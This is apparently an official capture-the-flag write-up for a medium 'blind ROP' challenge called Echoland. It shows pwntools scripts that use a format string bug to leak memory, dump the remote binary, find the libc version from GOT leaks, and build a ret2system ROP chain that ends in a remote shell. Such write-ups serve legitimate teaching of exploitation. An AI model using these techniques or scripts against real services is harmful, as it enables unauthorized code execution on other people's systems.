Echoland

18th Jan 2024 / Document No. D24.102.8

Prepared By: ir0nstone

Challenge Author(s): w3th4nds & r4j

Difficulty: Medium

Classification: Official

Synopsis

Echoland is a blind ROP challenge with a format string vulnerability. To gain code execution we have to abuse the format string vulnerability to leak the binary and then use this information to leak the remote libc version and ROP our way to a shell.

Skills Learned

- Arbitrary Reads with Format String
- PLT and GOT

Analysis

We are not given a binary, just a port. This doesn't bode great! Let's connect and see what happens:

```
$ nc 159.65.20.166 31943

🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> 2
2

1. Scream.
2. Run outside.
> 1
>> diusab
Your friend did not recognize you and ran the other way!
```

So, it looks like option `2` just prints `2` back to us and option `1` ends the program. Note that the prompt actually has a format string vulnerability:

```
$ nc 159.65.20.166 31943

🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> %p %p
0x6e 0xfffffff4
```

Additionally, spamming a very large input for the `Scream` results in a segmentation fault, suggesting there is a buffer overflow:

```
$ nc 159.65.20.166 31943
🦇 Inside the dark cave. 🦇
1. Scream.
2. Run outside.
> 1
>>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv
/home/ctf/run_challenge.sh: line 2:   219 Segmentation fault      ./echoland
```

We may not have a binary, but we can leak the source using a format string bug! The way we do this is by using the `%s` format string specifier. In essence, `%s` takes a pointer and reads the string from that pointer. If we can place our own pointer onto the stack (which we can, by just giving input!) then we can point to it using `%s` and read data back. `%s` will be terminated by null bytes, but as it appears to be an infinite loop we can just shift the offset more and more.

Leaks and Finding the Buffer Offset

If we spam `%p` specifiers continuously, we can see when we get back to our input. Note that only around 20 bytes are actually read in, so we have to use the `%k$p` specifier to take the `k`th parameter as a pointer. Let's make a simple script to dump this:

```
from pwn import *

p = remote('159.65.20.166', 31943)

for k in range(20):
    p.sendlineafter(b'> ', f'%{k}$p'.encode())
    leak = p.recvline().decode().strip()
    print(f'{k}: {leak}')

p.close()
```

The output of this script tells us a bunch:

```
$ python3 dump.py
[+] Opening connection to 159.65.20.166 on port 31943: Done
0: %0$p
1: 0x6e
2: 0xfffffff4
3: 0x10
4: 0x1d
5: 0x7fd74ae664c0
6: 0x7ffc65a6dc58
7: 0x100000000
8: 0xa70243825
9: (nil)
10: 0x7ffc00000000
11: 0x100000000
12: 0x5622a3a58400
13: 0x7fd74a871bf7
14: 0x1
15: 0x7ffc65a6dc58
16: 0x100008000
17: 0x5622a3a582ef
18: (nil)
19: 0x587b508cb7eee57a
```

It looks like `%8$p` is the start of our buffer (which will eventually also be in `%9$p`). `%12$p` appears to be a PIE leak, and `%13$p` a libc leak.

Given the PIE leak at `%12$p`, let's run the program multiple times. It appears to have a consistent last 3 digits, so a static offset off base. Let's assume, for now, that offset is `0x400`. If we read this location, we should expect to see the ELF header, `\x7fELF`. Let's try that.

```python
from pwn import *

p = remote('159.65.20.166', 31943)

p.sendlineafter(b'> ', b'%12$p')
leak = int(p.recvline(), 16)
log.success(f'Leak: 0x{leak:x}')
base = leak - 0x400
log.success(f'Base: 0x{base:x}')

# attempt to read the base
p.sendlineafter(b'> ', b'||%9$s||' + p64(base))
print(p.recvline())
```

The reason we use `||%9$s||` is because the buffer, as we noticed, is taken up by offset `8` and `9`. We want the pointer - the base address - to fill offset `9` entirely, so we can read it with `%9$s`, meaning the data has to be 8-byte aligned. `||%9$s||` fills an entire `8` bytes, so the `base` pointer following it fills is too. The `%9$s` will then read data at the address of `base`:

```
$ python3 dump_binary.py
[+] Opening connection to 159.65.20.166 on port 31943: Done
[+] Leak: 0x55dc30677400
[+] Base: 0x55dc30677000
b'||\xf3\x0f\x1e\xfaH\x83\xec\x08H\x8b\x05\xd9/||'
```

We don't quite see `\x7fELF`. Let's set the offset to `0x1400` and see if that does anything:

```
$ python3 dump_binary.py
[+] Opening connection to 159.65.20.166 on port 31943: Done
[+] Leak: 0x55f7c5aed400
[+] Base: 0x55f7c5aec000
b'||\x7fELF\x02\x01\x01||\n'
```

Fantastic! We now know where the binary base is located - an offset of `0x1400` from the leak.

Dumping the Binary

We'll now run this recursively to dump the binary.

```python
from pwn import *

p = remote('159.65.20.166', 31943)

p.sendlineafter(b'> ', b'%12$p')
leak = int(p.recvline(), 16)
log.success(f'Leak: 0x{leak:x}')
base = leak - 0x1400
log.success(f'Base: 0x{base:x}')

data = b''

while len(data) < 0x4000:
    # attempt to read the offset
```

```
    p.sendlineafter(b'> ', b'||%9$s||' + p64(base + len(data)))
    p.recvuntil(b'||')
    leak = p.recvuntil(b'||', drop=True)
    leak += b'\x00'          # null-terminated, so we need to write the null
byte too

    print(f'Offset 0x{len(data):x}-0x{(len(data) + len(leak)):x}: {leak}')
    data += leak

with open('challenge', 'wb') as f:
    f.write(data)
```

> Note: `0x4000` is an arbitrary choice, based purely off how long I think it is likely to be.

There is a small issue, which is after doing the loop a load of times, you get the following error:

```
You do not have enough energy for that, you fainted!
```

We notice that that occurs whenever sending the ASCII code `n`, which complicates things. We're going to skip over any addresses with `n` in them and assume they are just null.

```
[...]
# attempt to read the offset
payload = p64(base + len(data))

if b'n' in payload:
    data += b'\x00'
    continue

p.sendlineafter(b'> ', b'||%9$s||' + payload)
[...]
```

This results in the output being somewhat corrupted, meaning it is harder to disassemble.

Disassembling

GDB fails to disassemble our `challenge` file, but `rizin` (or `radare2`) does succeed, so I'll use that.

```
$ rizin -A challenge
```

We want to find the libc version, and to do that we have to print the contents of the GOT (global offset table). `rizin` lets us print out `main`, which makes life easier:

```
[0x00001160]> pdf @ main
[...]
|           0x00001317      mov    esi, 0
|           0x0000131c      mov    rdi, rax
|           0x0000131f      call   fcn.00001110                        ;
fcn.00001110
|           0x00001324      lea    rdi, data.00002048                  ; 0x2048
; "\n\U0001f987 Inside the dark cave. \U0001f987"
```

```
|           0x0000132b      call   fcn.000010e0                        ;
fcn.000010e0
|           ; CODE XREF from main @ 0x13bc
|       ┌─> 0x00001330      lea    rdi, data.00002069                  ; 0x2069
; "1. Scream.\n2. Run outside.\n> "
|       ¦   0x00001337      mov    eax, 0
|       ¦   0x0000133c      call   fcn.00001100                        ;
fcn.00001100
|       ¦   0x00001341      lea    rax, [var_28h]
|       ¦   0x00001345      mov    edx, 0x13
|       ¦   0x0000134a      mov    rsi, rax
|       ¦   0x0000134d      mov    edi, 0
|       ¦   0x00001352      call   fcn.00001120                        ;
fcn.00001120
[...]
```

For all the uses of `call`, we can easily check what function they related to:

```
[0x00001160]> pd 2 @ fcn.000010e0
            ; CALL XREFS from main @ 0x132b, 0x1379, 0x13d8, 0x13e6
            0x000010e0      endbr64
            0x000010e4      bnd    jmp qword reloc.puts                 ;
[reloc.puts:8]=0x4040 reloc.target.puts ; "@@"
```

So `0x10e0` is the PLT location for `puts`. Unfortunately, the address for the GOT entry of `puts` is not `0x4040` as rizin makes it sound (likely due to corruption), so we'll grab the bytes of the instructions and disassemble then using pwntools.

```
[0x00001160]> px 16 @ 0x10c0
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x000010c0  f30f 1efa f2ff 252d 2f00 000f 1f44 0000  ......%-/....D..
```

Then in a bash terminal:

```
$ pwn disasm 'f30f 1efa f2ff 252d 2f00 000f 1f44 0000'
   0:    f3 0f 1e fa              endbr64
   4:    f2 ff 25 2d 2f 00 00     bnd jmp DWORD PTR ds:0x2f2d
   b:    0f 1f 44 00 00           nop    DWORD PTR [eax+eax*1+0x0]
```

The offset to the GOT entry **from the PLT entry** is `0x2f2d`. This relative distance actually occurs from offset `b`, so from `0x10cb`, so that's a base-to-GOT-entry offset of `0x3ff8`. Let's leak the remote address:

```
from pwn import *

p = remote('159.65.20.166', 31943)

p.sendlineafter(b'> ', b'%12$p')
leak = int(p.recvline(), 16)
log.success(f'Leak: 0x{leak:x}')
base = leak - 0x1400
log.success(f'Base: 0x{base:x}')
```

```
# leak puts address
p.sendlineafter(b'> ', b'||%9$s||' + p64(base + 0x3ff8))
p.recvuntil(b'||')
leak = p.recvuntil(b'||', drop=True) + b'\x00\x00'
leak = u64(leak)

log.success(f'Leak: 0x{leak:x}')
```

We get `0x7f43df328640`. It turns out that, once more due to corruption, this isn't actually `puts`. But that doesn't really matter, we can sort that out at the end - we just want to leak a bunch from the GOT table for now, then we can work out what's what later.

Leaking LIBC Version

We'll repeat the process with other stuff rizin tells us, keeping in mind that's it doesn't exactly match up with what we need.

```
# 0x3ff8 - 0x7f43df328640
# 0x3f90 - 0x7fb9625548f0
# 0x3fa8 - 0x7f41f963bf70
# 0x3fb8 - 0x7f4afb346140
```

To find the libc version, we'll head over to `libc.blukat.me` and play with the offsets and functions in the binary until we get a hit. It seems our version of LIBC is either `libc6_2.27-3ubuntu1.3_amd64` or `libc6_2.27-3ubuntu1.4_amd64`, but the offsets for `system` and `binsh` are the same.

Exploitation

From here, it's a basic `ret2system`. We'll need to brute-force the offset a bit, but eventually we get it easily. Some manual searching is needed for the required gadgets, but that's also fine.

```
SYSTEM = LIBC + 0x04f550
BINSH = LIBC + 0x1b3e1a
POP_RDI_RET = base + 0x1463

payload = b'A' * 72
payload += p64(POP_RDI_RET)
payload += p64(BINSH)
payload += p64(SYSTEM)

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)

p.interactive()
```

This actually segfaults too. This is due to **stack alignment**, so we have to add a `ret` gadget to bring RSP back to 16-byte alignment.

```
SYSTEM = LIBC + 0x04f550
BINSH = LIBC + 0x1b3e1a
POP_RDI_RET = base + 0x1463
RET = base + 0x1464

payload = b'A' * 72
payload += p64(RET)
payload += p64(POP_RDI_RET)
payload += p64(BINSH)
payload += p64(SYSTEM)
```

And we get a shell!